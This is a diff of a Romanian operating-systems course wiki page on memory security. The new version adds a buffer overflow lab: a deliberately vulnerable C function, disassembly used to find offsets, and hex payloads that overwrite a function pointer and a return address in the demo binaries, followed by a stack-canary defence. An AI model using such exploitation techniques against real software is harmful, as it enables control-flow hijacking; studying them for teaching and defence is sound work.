Differences

This shows you the differences between two versions of the page.

Link to this comparison view

so:curs:mem-sec [2020/04/01 17:30]
razvan.deaconescu created
so:curs:mem-sec [2020/04/06 17:33] (current)
alexandru.radovici
Line 1: Line 1:
-====== ​Curs 08 - Securitatea memoriei ====== +====== ​Capitol ​08 - Securitatea memoriei ======
- +
-  * [[http://​elf.cs.pub.ro/​so/​res/​cursuri/​SO_Curs-07.pdf | Curs 07 - Securitatea memoriei (PDF)]]+
  
   * [[https://​drive.google.com/​open?​id=1jH4kMKuORFdGixehk_5U9WfFV04w_ag9Tv3FEzq7pvE|Notițe de curs]]   * [[https://​drive.google.com/​open?​id=1jH4kMKuORFdGixehk_5U9WfFV04w_ag9Tv3FEzq7pvE|Notițe de curs]]
Line 17: Line 15:
     * [[http://​stackoverflow.com/​questions/​79923/​what-and-where-are-the-stack-and-heap|What and where are the stack and heap?]]     * [[http://​stackoverflow.com/​questions/​79923/​what-and-where-are-the-stack-and-heap|What and where are the stack and heap?]]
  
-<​html>​ +  * Filmări 
-  <​center>​ +    ​* 3CA [[https://web.microsoftstream.com/video/​631f6edd-2f5b-474e-9f87-ae4edecbd93d]] 
-    ​<iframe src="https://docs.google.com/viewer?url=https://elf.cs.pub.ro/so/res/cursuri/​SO_Curs-07.pdf&​embedded=true"​ width="​600"​ height="​480"​ style="​border:​ none;">​ +    * 3CC, curs 11, partea 1: https://web.microsoftstream.com/video/ff52e02f-c2dc-49d6-b227-2dc9a1026625 
-    ​</iframe> +    ​* 3CC, curs 11, partea a 2-a: https://​web.microsoftstream.com/​video/​7bae5cdb-0a54-4f2e-b5a5-df039790ac37 
-  ​</​center>​ +   
-</html>+  * Curs CA [[https://​www.slideshare.net/​alexandruradovici/​sisteme-de-operare-securitatea-memoriei|slideshare]] ​
  
 ===== Demo-uri ===== ===== Demo-uri =====
Line 36: Line 34:
 Acum putem parcurge secțiunile cu demo-uri de mai jos. Acum putem parcurge secțiunile cu demo-uri de mai jos.
  
-==== Secțiuni și adrese în cadrul unui fișier executabil ​====+==== Reminder: Buffer overflow ​====
  
-Dorim să urmărim adresele secțiunilor și simbolurilor în cadrul unui fișier executabil de tip ELF (//Executable and Linking Format//)Pentru aceasta accesăm subdirectorul ''​exec-addr/'';​ urmărim conținutul fișierului ''​exec-addr.c''​În acest fișier definim variabile globale ​și afișăm adresele acestor variabile șa funcțiilor din modulVom observa că adresele variabilelor globale și a funcțiior sunt cunoscute ​de la link-time, în momentul link-editării ​și a obținerii executabilului.+La [[https://ocw.cs.pub.ro/​courses/​iocla|IOCLA]] am descoperit cum se folosește stiva și cum putem face primii pași în exploatarea unei vulnerabilitățde tip buffer overflowÎn exercițiile de la IOCLA am exploatat o vulnerabilitate de tipul buffer overflow ​și am suprascris adresa de retur unei funcții cu o valoare convenabilă,​ modificând astfel fluxul de execuție al programului (//control flow hijack//).
  
-Compilăm programul folosind ​''​make''​.+În subdirectorul ''​buffer-overflow/''​ trecem printr-un exercițiu de tipul buffer overflow. În fișierul ''​buffer-overflow.c''​ avem codul sursă al unui program cu o vulnerabilitate evidentă în funcția ​''​read_data()''​
 +<code C> 
 +static size_t read_data(void) 
 +
 +        [...
 +        char buffer[16];
  
-Pentru început investigăm simbolurile din executabilNe interesează variabilele globale și funcțiile așa că vom rula comanda de afișare a simbolurilor din care vom extrage liniile de interes:<​code bash> +        [...] 
-user@host:$ objdump --syms exec-addr | grep '\(exec_\| main\|simple_func\)' +        fgets(buffer, 48, stdin); 
-0000000000600da0 l     ​O ​.data 0000000000000004 ​             exec_static_int_global +        [...]
-000000000040076b l     ​F ​.text 000000000000001a ​             simple_func +
-0000000000600dc4 g     O .bss 0000000000000004 ​             exec_int_global_noinit +
-0000000000600da4 g     O .data 0000000000000004 ​             exec_int_global +
-00000000004008b8 g     O .rodata 0000000000000006 ​             exec_array_ro +
-0000000000400785 g     ​F ​.text 000000000000009c ​             main+
 </​code>​ </​code>​
  
-Prin rularea comenzii objdump de mai sus afișăm informații despre simboluriîn format pe coloane, astfel: +În funcțiedeși ''​buffer'' ​ocupă 16 octeți, citim ''​48''​ de octeți ​ducând la un buffer overflow.
-  * În prima coloană sunt adresele simbolurilor. Aceste adrese se vor regăsi întocmai în proces (vom vedea în continuare). Adresele pot să difere în cazul obținerii executabilului pe alt sistem. +
-  * A doua coloană este tipul simbolului. Simbolurile statice sunt marcate cu ''​l''​ (//local//) pentru că vor fi locale modulului. Celelalte sunt marcate cu ''​g''​ (//​global//​) ​și vor putea fi exportate în alte module. +
-  * A patra coloană este secțiunea din executabil unde este alocat simbolul. Simbolul este alocat în modul încă de la compile-time. Secțiunile sunt după cum urmează: +
-    * ''​.data''​: variabile globale inițializate +
-    * ''​.bss'':​ variabile globale neinițializate +
-    * ''​.rodata'':​ variabile globale de tip read-only +
-    * ''​.text'':​ zonă de cod/instrucțiuni (pentru funcții) +
-  * A cincea coloană este spațiul ocupat de simbol. Variabilele întregi ocupă ​''​sizeof(int) = 4'' ​octeți, șirul ​de caractere ocupă 6 octeți ​(incluzând NUL-terminatorul) iar funcțiile ocupă spațiul dat de codul acestora.+
  
-Observăm că zona de date read-only (''​.rodata''​) este apropiată ​de zona de cod (''​.text''​) ambele fiind zone care nu pot fi scrise.+Dorim exploatarea acestui program în două moduri, ambele vizând suprascrierea unui pointer ​de cod (//code pointer//​):​ 
 +  * suprascrierea pointer-ului de funcție ​''​func_ptr''​ 
 +  * suprascrierea adresei ​de retur a funcției ​''​read_data()''​
  
-Ca să verificăm faptul că adresele precizate în executabil se vor regăsi ​și în momentul rulării procesului, la run-time, rulăm executabilul:<​code bash> +Pentru aceasta folosim programele executabile deja create: ''​buffer-overflow-32''​ (pe 32 de biți) ​și ''​buffer-overflow''​ (pe 64 de biți)Vom genera intrări convenabile (//payload//-uri) pe care le vom furniza la intrarea programelor pentru a suprascrie pointerii de cod și a genera apelul funcției ''​inject_func()''​.
-./exec-addr  +
-Inside simple_func+
  
-Run-time addresses are: +<note warning>​ 
-&​exec_static_int_global:​ 0x600da0 +**Nu** folosiți comanda ''​make''​ pentru a regenera executabilele. O nouă compilare a acestora va afecta codul generat și payload-urile de exploit-uri din acest demo nu vor mai funcționa. 
-&​exec_int_global:​ 0x600da4 +</​note>​
-&​exec_int_global_noinit:​ 0x600dc4 +
-&​exec_array_ro:​ 0x4008b8 +
-&​simple_func:​ 0x40076b +
-&main: 0x400785+
  
-Run `pmap -p $(pidof exec-addr)' to show process map.+Pentru a genera payload-urile, urmărim în fișierul executabil generat plasarea în memorie a buffer-uluiFolosim analiză statică și dezasamblăm codul executabilului folosind ''​objdump'':​
  
-     Press ENTER to continue ​... +<​code>​ 
-</code>+$ objdump -d -M intel buffer-overflow 
 +[...] 
 +0000000000400697 ​<actual_func>
 +[...]
  
-Observăm din rezultatul rulării că adresele de la run-time sunt aceleași cu cele din executabil.+00000000004006a8 <​inject_func>:​ 
 +[...]
  
-După cum ni se indică la rulare, vom rula ''​pmap''​ pentru a consulta spațiul virtual de adresă al procesului:<code bash+00000000004006c0 ​<read_data>: 
-$ pmap -p $(pidof exec-addr) +  ​4006c0      55                      push   ​rbp 
-13545:   ./exec-addr +  ​4006c1: ​      48 89 e5                mov    rbp,rsp 
-0000000000400000 ​     4K r-x-- /​home/​razvan/​school/​2011-2012/​so/​git-repos/​cursuri.git/​curs-07-demo/​exec-addr/​exec-addr +  ​4006c4: ​      48 83 ec 20             ​sub ​   rsp,0x20 
-0000000000600000 ​     4K rw--- /​home/​razvan/​school/​2011-2012/​so/​git-repos/​cursuri.git/​curs-07-demo/​exec-addr/​exec-addr +  ​4006c8: ​      48 c7 45 f8 97 06 40    mov    QWORD PTR [rbp-0x8],​0x400697 
-00007fd884842000 ​  1664K r-x-- /​lib/​x86_64-linux-gnu/​libc-2.18.so +  ​4006cf: ​      00 
-00007fd8849e2000 ​  2044K ----- /​lib/​x86_64-linux-gnu/​libc-2.18.so +  ​4006d0: ​      48 8d 45 e0             ​lea ​   rax,[rbp-0x20] 
-00007fd884be1000 ​    16K r---- /​lib/​x86_64-linux-gnu/​libc-2.18.so +  ​4006d4: ​      ba 10 00 00 00          mov    edx,0x10 
-00007fd884be5000 ​     8K rw--- /​lib/​x86_64-linux-gnu/​libc-2.18.so +  ​4006d9: ​      be 41 00 00 00          mov    esi,0x41 
-00007fd884be7000 ​    16K rw---   [ anon ] +  ​4006de: ​      48 89 c7                mov    rdi,rax 
-00007fd884beb000 ​   128K r-x-- /​lib/​x86_64-linux-gnu/​ld-2.18.so +  ​4006e1: ​      e8 9a fe ff ff          call   ​400580 <​memset@plt>​ 
-00007fd884dcf000 ​    12K rw---   ​[ anon ] +[...]
-00007fd884e06000 ​    16K rw---   anon ] +
-00007fd884e0a000 ​     4K r---- /​lib/​x86_64-linux-gnu/​ld-2.18.so +
-00007fd884e0b000 ​     4K rw--- /​lib/​x86_64-linux-gnu/​ld-2.18.so +
-00007fd884e0c000 ​     4K rw---   [ anon ] +
-00007fffb51d1000 ​   132K rw---   [ stack ] +
-00007fffb51fe000 ​     8K r-x--   [ anon ] +
-ffffffffff600000 ​     4K r-x--   [ anon ] +
- ​total ​            4068K+
 </​code>​ </​code>​
  
-Legat de partea ​de executabil, observăm că avem două pagini (''4K''​) mapate din executabilul ​''​exec-addr''​. Una este readable/​executable (''​r-x''​) și începe de la adresa ''​0x400000''​, iar alta este readable/​writable (''​rw-''​) și începe de la adresa ​''​0x600000''​. În prima pagină sunt mapate secțiunile ​''​.text'' ​și ''​.rodata''​, iar în cealaltă sunt mapate secțiunile ​''​.data'' ​și ''​.bss'';​ observăm acest lucru pe baza adreselor. +Din secvența ​de dezasamblare ​de mai sus extragem informațiile:​ 
-==== Adrese pentru biblioteci partajate ====+  * adresa funcției ​''​actual_func''​ este ''​0x400697''​ 
 +  * adresa ​funcției ​''​inject_func''​ este ''​0x4006a8''​ 
 +  * pointer-ul ​''​func_ptr'' ​este plasat la adresa ​''​rbp-0x8''​ 
 +  * buffer-ul ​''​buffer'' ​este plasat la adresa ​''​rbp-0x20''​
  
-Vrem să vedem cum ajung informațiile (date și instrucțiuni) dintr-o bibliotecă partajată într-un executabil. Pentru aceasta urmărim rularea comenzii ''​pmap'' ​de la secțiunea anterioară.+În mod similar, obținem ​informații și prin dezasamblarea executabilului pe 32 de biți:
  
-În cadrul comenzii observăm că atât fișierul executabil care a generat procesul (''​exec-addr''​) cât și fișierele de tip bibliotecă partajată sunt mapate în memorieFișierele de tip bibliotecă partajată sunt tot fișiere ELF, cu secțiuni și simboluri similare unui fișier executabil obișnuitObservăm că pentru fiecare bibliotecă avem, în cadrul procesului (output-ul comenzii) mai multe zone de dimensiuni și permisiuni diferite, mapate în spațiul de adresă al procesuluiAstfel, pentru o bibliotecă putem avea+<​code>​ 
-  * o zonă readable/​executable (''​r-x''​) pentru cod/​instrucțiuni (secțiunea ''​.text''​) +$ objdump ​-d -M intel buffer-overflow-32 
-  * o zonă read-only (''​r--''​) pentru date read-only (secțiunea ''​.rodata''​) +[...
-  * o zonă read-write (''​rw-''​) pentru date read-write (secțiunile ''​.data'',​ ''​.bss''​)+08048546 <​actual_func>​
 +[...]
  
-Bibliotecile dinamice nu sunt, în general, mapate la o adresă predefinităDe aceea, dacă rulăm de mai multe ori executabilul și apoi comanda ''​pmap''​ vom vedea că zonele din biblioteci sunt mapate la adrese diferite de fiecare datăAcest lucru se întâmplă din rațiuni de securitate folosind ASLR (//Address Space Layout Randomization//​). Dacă un atacator vrea să folosească adrese din cadrul spațiului de adresă al procesului îi va fi dificil pentru că nu știe unde sunt mapate.+0804855f <​inject_func>:​ 
 +[...]
  
-Acest lucru poate fi observat prin rularea de mai multe ori a comenzii ''​ldd''​ peste executabil. La fiecare rulare va fi vorba de altă adresă unde va fi mapată biblioteca:<code bash+0804857f ​<read_data>: 
-$ ldd exec-addr + 804857f: ​      ​55 ​                     push   ebp 
- linux-vdso.so.1 (0x00007fff399fe000) + 8048580: ​      89 e5                   ​mov ​   ebp,esp 
- libc.so.6 => /​lib/​x86_64-linux-gnu/​libc.so.6 (0x00007f8614d8a000) + 8048582: ​      83 ec 28                sub    esp,0x28 
- /​lib64/​ld-linux-x86-64.so.2 (0x00007f861516b000) + 8048585: ​      c7 45 f4 46 85 04 08    mov    DWORD PTR [ebp-0xc],​0x8048546 
-$ ldd exec-addr + 804858c: ​      83 ec 04                sub    esp,0x4 
- linux-vdso.so.1 (0x00007fff7a7b4000) + 804858f: ​      6a 10                   ​push ​  0x10 
- libc.so.6 => /​lib/​x86_64-linux-gnu/​libc.so.6 (0x00007ff7c3dfc000) + 8048591: ​      6a 41                   ​push ​  0x41 
- /lib64/ld-linux-x86-64.so.2 (0x00007ff7c41dd000)+ 8048593: ​      8d 45 e4                lea    eax,[ebp-0x1c] 
 + ​8048596: ​      ​50 ​                     push   eax 
 + ​8048597: ​      e8 74 fe ff ff          call   ​8048410 <​memset@plt>​
 </​code>​ </​code>​
-==== Stiva unui proces ==== 
  
-Dorim să urmărim evoluția stivei unui proces raportat la fluxul ​de execuție al acestuia (apeluri ​de funcții și rulare de instrucțiuni). Pentru aceasta accesăm subdirectorul ​''​stack/''​; urmărim conținutul fișierului ​''​stack.c''​. În acest fișier din funcția ''​main'' ​apelăm funcția ​''​read_data''​; funcția ​''​read_data'' ​definește un pointer de funcție (''​func_ptr''​) și un buffer ​(''​buffer''​). Pe moment nu ne interesează funcționalitatea mai mult de atât.+Din secvențde dezasamblare ​de mai sus extragem informațiile:​ 
 +  * adresa ​funcției ''​actual_func'' ​este ''​0x08048546''​ 
 +  * adresa ​funcției ''​inject_func'' ​este ''​0x0804855f 
 +  * pointer-ul ​''​func_ptr'' ​este plasat la adresa ​''​ebp-0xc''​ 
 +  * buffer-ul ​''​buffer' ​este plasat la adresa ​''​ebp-0x1c''​
  
-Compilăm programul folosind ​''​make''​.+Cu aceste informații putem calcula offset-ul dintre buffer și pointer-ul de funcție ''​func_ptr'',​ respectiv adresa de retur a funcției. Adresa de retur a funcției se găsește la adresa ​''​ebp+4'' ​pe 32 de biți, respectiv la adresa ''​rbp+8''​ pe 64 de bițiȘi genera payload-urile pentru exploatarea programelor. Aceste lucru este realizat în fișierul ''​payloads.py''​ și obținem payload-urile prin interpretarea fișierului:​
  
-=== Pornire proces ===+<​code>​ 
 +$ python3 payloads.py 
 +overwrite func_ptr (32 bits): \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x5f\x85\x04\x08 
 +overwrite return address (32 bits): \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x46\x85\x04\x08\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x5f\x85\x04\x08 
 +overwrite func_ptr (64 bits): \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xa8\x06\x40\x00\x00\x00\x00\x00 
 +overwrite return address (64 bits): \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x97\x06\x40\x00\x00\x00\x00\x00\x41\x41\x41\x41\x41\x41\x41\x41\xa8\x06\x40\x00\x00\x00\x00\x00 
 +overwrite return address (SSP, 64 bits): \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x18\x07\x40\x00\x00\x00\x00\x00 
 +</​code>​
  
-Vrem să urmărim evoluția stivei în momentul în care programul apelează funcția ​''​read_data''​. Pentru aceasta vom rula programul în debugger (''​gdb''​) ​și vom afișa codul dezasamblat,​ stiva, registrul de stivă/​stack pointer-ul (''​esp''​),​ registrul de instrucțiune/​instruction pointer-ul/program counter-ul (''​eip''​) sau frame pointer-ul (''​ebp''​).+Putem folosi aceste payload-uri pentru a exploata vulnerabilitatea de tip buffer overflow din cadrul programelor ​''​buffer-overflow''​ și ''​buffer-overflow-32''​
 +<​code>​ 
 +$ echo -e '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x5f\x85\x04\x08' ​| ./buffer-overflow-32 
 +Insert message ​(less than 16 bytes): Call injected function.
  
-Pentru început pornim programul și investigăm codul dezasamblat,​ instruction pointer-ul, stack pointer-ul și stiva:<​code bash> +echo -e '​\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x46\x85\x04\x08\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x5f\x85\x04\x08'​ | ./buffer-overflow-32 
-gdb -./stack +Insert message ​(less than 16 bytes): Call actual function.
-Reading symbols from /​home/​razvan/​school/​2011-2012/so/git-repos/​cursuri.git/​curs-07-demo/​stack/​stack...done. +
-(gdbb main +
-Breakpoint 1 at 0x80485aafile stack.c, line 37. +
-(gdb) run +
-Starting program: /​home/​razvan/​school/​2011-2012/​so/​git-repos/​cursuri.git/​curs-07-demo/​stack/​./​stack  +
-warning: Could not load shared library symbols for linux-gate.so.1. +
-Do you need "set solib-search-path"​ or "set sysroot"?​+
  
-Breakpoint 1, main () at stack.c:​37 +Call injected ​function.
-37 size_t len = 0; +
-(gdb) disassemble +
-Dump of assembler code for function ​main: +
-   ​0x080485a1 <​+0>:​ push ​  ​%ebp +
-   ​0x080485a2 <​+1>:​ mov ​   %esp,%ebp +
-   ​0x080485a4 <​+3>:​ and ​   $0xfffffff0,​%esp +
-   ​0x080485a7 <​+6>:​ sub ​   $0x20,​%esp +
-=> 0x080485aa <​+9>:​ call ​  ​0x804853f <​read_data>​ +
-   ​0x080485af <​+14>:​ mov ​   %eax,​0x1c(%esp) +
-   ​0x080485b3 <​+18>:​ mov ​   0x1c(%esp),​%eax +
-   ​0x080485b7 <​+22>:​ mov ​   %eax,​0x4(%esp) +
-   ​0x080485bb <​+26>:​ movl ​  ​$0x80486b8,​(%esp) +
-   ​0x080485c2 <​+33>:​ call ​  ​0x8048390 <​printf@plt>​ +
-   ​0x080485c7 <​+38>:​ mov ​   $0x0,%eax +
-   ​0x080485cc <​+43>:​ leave ​  +
-   ​0x080485cd <​+44>:​ ret +
-End of assembler dump. +
-(gdb) p $eip +
-$1 = (void (*)()) 0x80485aa <​main+9>​ +
-(gdb) p $esp +
-$2 = (void *) 0xffffd290 +
-(gdb) x/2wx $esp +
-0xffffd290:​ 0x00000001 0xffffd354 +
-</​code>​+
  
-În secvența de mai sus, am folosit breakpoint pentru ​''​main''​ și apoi am rulat programul până la breakpointInstruction pointer-ul este la începutul programului ​(adresa ''​0x80485aa''​), iar stack pointer-ul are valoarea ''​0xffffd290''​. Pe stivă se găsesc valori random din ceea ce era anterior pe stivă.+$ echo -e '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xa8\x06\x40\x00\x00\x00\x00\x00' ​./buffer-overflow 
 +Insert message ​(less than 16 bytes): Call injected function.
  
-=== Apelare de funcție ===+$ echo -e '​\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x97\x06\x40\x00\x00\x00\x00\x00\x41\x41\x41\x41\x41\x41\x41\x41\xa8\x06\x40\x00\x00\x00\x00\x00'​ | ./​buffer-overflow 
 +Insert message (less than 16 bytes): Call actual function.
  
-Următoarea instrucțiune care va fi rulată va fi apelul funcției ''​read_data''​Este vorba de instrucțiunea:<​code>​ +Call injected function.
-=> 0x080485aa <​+9>:​ call ​  ​0x804853f <​read_data>​+
 </​code>​ </​code>​
  
-Verificăm faptul că aceea este adresa funcției și apoi executăm acea instrucțiune;​ folosim ''​si'':​ //step instruction//:<​code bash> +==== Mecanisme defensiveSSPASanASLR / PIE ====
-(gdb) p read_data +
-$1 {size_t (void)} 0x804853f <​read_data>​ +
-(gdb) si +
-read_data () at stack.c:​23 +
-23 { +
-(gdb) disassemble +
-Dump of assembler code for function read_data:​ +
-=> 0x0804853f <+0>: push   ​%ebp +
-   ​0x08048540 <​+1>:​ mov ​   %esp,%ebp +
-   ​0x08048542 <​+3>:​ sub ​   $0x38,%esp +
-   ​0x08048545 <​+6>:​ movl ​  ​$0x804850d,​-0xc(%ebp) +
-   ​0x0804854c <​+13>:​ movl ​  ​$0x10,​0x8(%esp) +
-   ​0x08048554 <​+21>:​ movl ​  ​$0x41,​0x4(%esp) +
-   ​0x0804855c <​+29>:​ lea ​   -0x1c(%ebp),​%eax +
-   ​0x0804855f <​+32>:​ mov ​   %eax,​(%esp) +
-   ​0x08048562 <​+35>:​ call ​  ​0x8048400 <​memset@plt>​ +
-   ​0x08048567 <​+40>:​ movl ​  ​$0x8048690,​(%esp) +
-   ​[...] +
-(gdb) p $eip +
-$2 (void (*)()) 0x804853f <​read_data>​ +
-(gdb) p $esp +
-$3 (void *) 0xffffd28c +
-(gdb) x/3wx $esp +
-0xffffd28c:​ 0x080485af 0x00000001 0xffffd354 +
-</​code>​+
  
-În rularea de mai sus am verificat faptul că apelul call se face către funcția ''​read''​ data și apoi facem apelul cu ajutorul operației ''​si''​ (//step instruction//​) din GDB. Ca urmare ​acestui apel au loc următoarele schimbări, echivalente pentru ''​call'':​ +Pentru ​proteja programele ​de efectele buffer overflow-uriloracestea ​pot fi augmentate cu mecanisme defensive.
-  * Se face loc pe stivă, adică stack pointer-ul este decrementat cu dimensiunea cuvântului procesului (32 de biți, 4 octeți) de la valoarea ''​0xffffd290''​ la valoarea ''​0xffffd28c''​. +
-  * Se scrie în acel loc pe stivă valoarea instruction pointer-uluiadică adresa următoarei instrucțiuni,​ în cazul nostru ''​0x080485af''​. +
-  * Se sare la adresa funcției ''​read_data'',​ adică ''​0x0804853f''​. +
-În pseudo-assembly,​ cele de mai sus pot fi considerate ca:<​code>​ +
-pushl   ​%eip ​         ; equivalent to pushl 0x080485af +
-jmp     ​read_data ​    ; equivalent to jmp 0x0804853f +
-</​code>​+
  
-=== Alocare spațiu pentru buffer local ===+=== SSP ===
  
-După saltul la funcție se execută instrucțiunile din acea funcție. Primele instrucțiuni vor salva pe stivă, după adresa de retur, fostul framepointer (''​ebp''​) ​și vor plasa noul frame pointer în poziția curentă a stivei. Pe stivă vom avea, de sus în jos: +Un prim mecanism defensiv este Stack Smashing Protection (SSP) numit și Stack Guard, mecanism ce constă din plasarea unei valori (numită //​canary//​) ​pe stivă ​între buffere ​și adresa de retur. Această valoare este inițializată la intrarea într-o funcție și verificată la ieșirea din funcțiePutem urmări prezența //stack canary// prin analiză statică:
-  * adresa de retur +
-  * fost frame pointer +
-Valoarea actuală a frame pointer-ului referă ​adresă unde este stocat frame pointer-ulPatru octeți mai sus este stocată adresa de retur.+
  
-Pentru a executa aceste două instrucțiuni rulăm de două ori comanda ''​si''​ (//step instruction//​):​<​code ​bash+<​code>​ 
-(gdb) si +objdump ​--M intel buffer-overflow-ssp
-0x08048540 23 { +
-(gdb) si +
-0x08048542 23 { +
-(gdb) disassemble  +
-Dump of assembler code for function read_data:​ +
-   ​0x0804853f <​+0>:​ push ​  ​%ebp +
-   ​0x08048540 <​+1>:​ mov ​   %esp,%ebp +
-=> 0x08048542 <​+3>:​ sub ​   ​$0x38,%esp +
-   ​0x08048545 <​+6>:​ movl ​  ​$0x804850d,​-0xc(%ebp) +
-   ​0x0804854c <​+13>:​ movl ​  ​$0x10,​0x8(%esp) +
-   ​0x08048554 <​+21>:​ movl ​  ​$0x41,​0x4(%esp) +
-   ​0x0804855c <​+29>:​ lea ​   ​-0x1c(%ebp),​%eax +
-   ​0x0804855f <​+32>:​ mov ​   %eax,​(%esp) +
-   ​0x08048562 <​+35>:​ call ​  ​0x8048400 <​memset@plt>​ +
-   ​[...] +
----Type <​return>​ to continue, or q <​return>​ to quit---q +
-Quit +
-(gdb) p $esp +
-$4 = (void *) 0xffffd288 +
-(gdb) p $ebp +
-$5 = (void *) 0xffffd288 +
-(gdb) x/4wx $ebp +
-0xffffd288:​ 0xffffd2b8 0x080485af 0x00000001 0xffffd354 +
-</​code>​ +
- +
-În urma acestor pași stack pointer-ul a mai scăzut cu încă un cuvânt de procesor (32 de biți, 4 octeți) la valoare ''​0xffffd288''​. Frame pointer-ul are aceeași valoare și, pe stivă, se găsește acum: +
-  * valoarea fostului frame pointer (''​0xffffd2b8''​) +
-  * adresa de retur a funcției (''​0x080385af''​)+
  
-În continuare se rezervă spațiu pe stivă (''​0x38''​ - 56 de octeți) suficient pentru a acoperi nevoia pointer-ului (de 4 octeți) și a buffer-ului (de 16 octeți). Compilatorul alocă mai mult spațiu. Stack pointer-ul va fi decrementat cu ''​0x38''​ octeți. Ținând cont de actuala valoare (''​0xffffd288''​) rezultă că noua valoare va fi ''​0xffffd288 - 0x38 = 0xffffd250''​. Verificăm acest lucru executând o nouă instrucțiune,​ folosind ''​si''​ (//step instruction//​) în GDB:<code bash> +0000000000400730 ​<read_data>: 
-(gdb) si +  ​400730      55                      ​push   rbp 
-24 void (*func_ptr)(void) = actual_func;​ +  ​400731      48 89 e5                ​mov    ​rbp,rsp 
-(gdb) disassemble  +  ​400734      48 83 ec 30             sub    ​rsp,0x30 
-Dump of assembler code for function read_data+  ​400738      64 48 8b 04 25 28 00    mov    rax,QWORD PTR fs:0x28 
-   0x0804853f <+0>:​ push ​  %ebp +  ​40073f      00 00 
-   0x08048540 <+1>: mov    ​%esp,%ebp +  ​400741      48 89 45 f8             ​mov ​   QWORD PTR [rbp-0x8],rax 
-   0x08048542 <+3>: sub    ​$0x38,%esp +[...] 
-=> 0x08048545 <+6>: movl   ​$0x804850d,-0xc(%ebp) +  40079e      48 8b 4d f8             mov    ​rcx,QWORD PTR [rbp-0x8] 
-   ​0x0804854c <+13>: movl   ​$0x10,​0x8(%esp) +  4007a2: ​      64 48 33 0c 25 28 00    xor    rcx,QWORD PTR fs:0x28 
-   0x08048554 <+21>: movl   ​$0x41,​0x4(%esp) +  ​4007a9: ​      00 00 
-   0x0804855c <+29>: lea    -0x1c(%ebp),%eax +  4007ab: ​      74 05                   ​je ​    ​4007b2 ​<read_data+0x82> 
-   0x0804855f <+32>: mov    ​%eax,(%esp) +  4007ad      e8 1e fe ff ff          ​call   4005d0 ​<__stack_chk_fail@plt> 
-   0x08048562 ​<+35>:​ call ​  0x8048400 ​<memset@plt> +  ​4007b2      c9                      leave 
-   0x08048567 <+40>: movl   ​$0x8048690,​(%esp) +  ​4007b3: ​      ​c3 ​                     ret
-   [...] +
----Type <​return>​ to continue, or q <​return>​ to quit---q +
-Quit +
-(gdb) p $esp +
-$6 = (void *) 0xffffd250+
 </​code>​ </​code>​
  
-Se schimbă într-adevăvaloarea ​stack pointer-ului.+Mai sus canary-ul a fost plasat pe stivă la adresa ''​rbp-0x8''​. La finalul funcției se verifică valoarea ​saDacă valoarea a fost schimbată, a existat o suprascriere posibil cauzată din cauza unui atac de tipul buffer overflow și se apelează funcția ''<​nowiki>​__stack_chk_fail</​nowiki>''​ care va încheia execuția programului împreună cu afișarea unui mesaj specific:
  
-=== Adresă ​buffer ​pe stivă ===+<​code>​ 
 +$ echo -e '​\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x18\x07\x40\x00\x00\x00\x00\x00'​ | ./buffer-overflow-ssp 
 +Insert message (less than 16 bytes): Call actual function.
  
-Vrem să vedem unde este alocat buffer-ul pe stivă. Pe lângă urmărirea codului în assembly, am decis să folosim ''​memset''​ pentru a umple buffer-ul cu valori ''​0x41''​. Folosim operații ''​ni''​ (next instruction) pentru a trece de apelul ''​memset'',​ adică să ajungem la linia ''​movl ​  ​$0x8048690,​(%esp)''':<​code>​ +*** stack smashing detected ***: <unknownterminated 
-(gdb) ni +Aborted ​(core dumped)
-24 void (*func_ptr)(void) = actual_func;​ +
-(gdb) ni +
-27 memset(buffer,​ '​A',​ 16); +
-(gdb) ni +
-0x08048554 27 memset(buffer,​ '​A',​ 16); +
-(gdb) ni +
-0x0804855c 27 memset(buffer,​ '​A',​ 16); +
-(gdb) ni +
-0x0804855f 27 memset(buffer,​ '​A',​ 16); +
-(gdb) ni +
-0x08048562 27 memset(buffer,​ '​A',​ 16); +
-(gdb) ni +
-28 printf("​Insert message (less than 16 bytes)"); +
-(gdb) disassemble  +
-Dump of assembler code for function read_data:​ +
-   ​0x0804853f ​<+0>:​ push ​  %ebp +
-   0x08048540 <​+1>:​ mov ​   %esp,%ebp +
-   ​0x08048542 <​+3>:​ sub ​   $0x38,​%esp +
-   ​0x08048545 <​+6>:​ movl ​  ​$0x804850d,​-0xc(%ebp) +
-   ​0x0804854c <​+13>:​ movl ​  ​$0x10,​0x8(%esp) +
-   ​0x08048554 <​+21>:​ movl ​  ​$0x41,​0x4(%esp) +
-   ​0x0804855c <​+29>:​ lea ​   -0x1c(%ebp),​%eax +
-   ​0x0804855f <​+32>:​ mov ​   %eax,​(%esp) +
-   ​0x08048562 <​+35>:​ call ​  ​0x8048400 <​memset@plt>​ +
-=> 0x08048567 <​+40>:​ movl ​  ​$0x8048690,​(%esp) +
-   ​0x0804856e <​+47>:​ call ​  ​0x8048390 <​printf@plt>​ +
-   ​[...] +
----Type <​return>​ to continue, or q <​return>​ to quit---q+
 </​code>​ </​code>​
  
